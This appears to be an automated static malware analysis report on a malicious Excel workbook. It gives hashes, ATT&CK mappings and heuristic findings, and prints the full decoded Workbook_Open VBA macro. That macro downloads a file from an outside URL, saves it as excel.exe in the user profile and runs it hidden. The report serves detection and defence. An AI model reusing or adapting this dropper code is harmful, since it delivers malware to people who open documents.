Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0e989cdc381a6608…

MALICIOUS

Office (OOXML)

28.2 KB Created: 2021-05-19 07:55:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: 25b2d8d99a9b1542f2ec9f8e3189abfd SHA-1: 39a5dae9e82283e17ad0e8c946682d98381cd603 SHA-256: 0e989cdc381a6608fa62f9fa8c2bd6f23f9cadf32084fdce89448955b1d678cd
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is an Excel document containing a Workbook_Open VBA macro. This macro is designed to download a file from the URL http://natg.tk/atbm/out.ex and save it as 'excel.exe' in the user's profile directory. Subsequently, it executes the downloaded file using the Shell() function, indicating a downloader or droppper functionality.

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    RetVal = Shell(path, vbHide)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    myURL = HttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set HttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oStrm.SaveToFile Environ$("USERPROFILE") & "\excel.exe", 2
  • External relationship high OOXML_EXTERNAL_REL
    External target in xl/externalLinks/_rels/externalLink1.xml.rels: file:///D:\Nam\Downloads\Bang_Tien_Dien_Thang_11-DE.xlsx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://natg.tk/atbm/out.ex Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1258 bytes
SHA-256: f1527b4d81035c78d2e59f5e2d494fc91d859ec1c0397dcaec7b55b08fe0bf3b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error GoTo oops
Dim myURL As String
file = "http://natg.tk/atbm/out.ex"
Dim HttpReq As Object
Set HttpReq = CreateObject("Microsoft.XMLHTTP")
HttpReq.Open "GET", file, False, "username", "password"
HttpReq.send

myURL = HttpReq.responseBody
If HttpReq.Status = 200 Then
    Set oStrm = CreateObject("ADODB.Stream")
    oStrm.Open
    oStrm.Type = 1
    oStrm.Write HttpReq.responseBody
    oStrm.SaveToFile Environ$("USERPROFILE") & "\excel.exe", 2
    oStrm.Close
End If

Dim path As String
path = Environ$("USERPROFILE") & "\excel.exe"

Dim RetVal
RetVal = Shell(path, vbHide)
oops:
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: 6a55afc05d5892244efbcaea78ea5b7c451a4f12f40913bbcda733fccebe17e7